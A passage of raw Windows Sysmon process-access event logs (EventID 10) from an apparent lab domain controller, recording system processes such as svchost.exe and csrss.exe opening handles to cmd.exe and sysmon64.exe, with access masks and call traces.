11:50:40.955","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2601,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.955\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.955","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2602,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.955\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 1828\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4010-5F2D-0000-00100B7B0400}\r\nTargetProcessId: 5064\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\UBPM.dll+a711|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e014|c:\\windows\\system32\\UBPM.dll+115a2|c:\\windows\\system32\\EventAggregation.dll+3fae|c:\\windows\\system32\\EventAggregation.dll+3ea1|c:\\windows\\system32\\EventAggregation.dll+36c9|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.955","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"1828","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4010-5F2D-0000-00100B7B0400}","TargetProcessId":"5064","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\UBPM.dll+a711|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e014|c:\\windows\\system32\\UBPM.dll+115a2|c:\\windows\\system32\\EventAggregation.dll+3fae|c:\\windows\\system32\\EventAggregation.dll+3ea1|c:\\windows\\system32\\EventAggregation.dll+36c9|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2603,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.955\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4010-5F2D-0000-00100B7B0400}\r\nTargetProcessId: 5064\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.955","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4010-5F2D-0000-00100B7B0400}","TargetProcessId":"5064","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2604,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.955\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.955","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2605,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.955\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.955","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2606,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.955\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.955","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2607,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.955\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.955","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2608,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.955\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.955","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+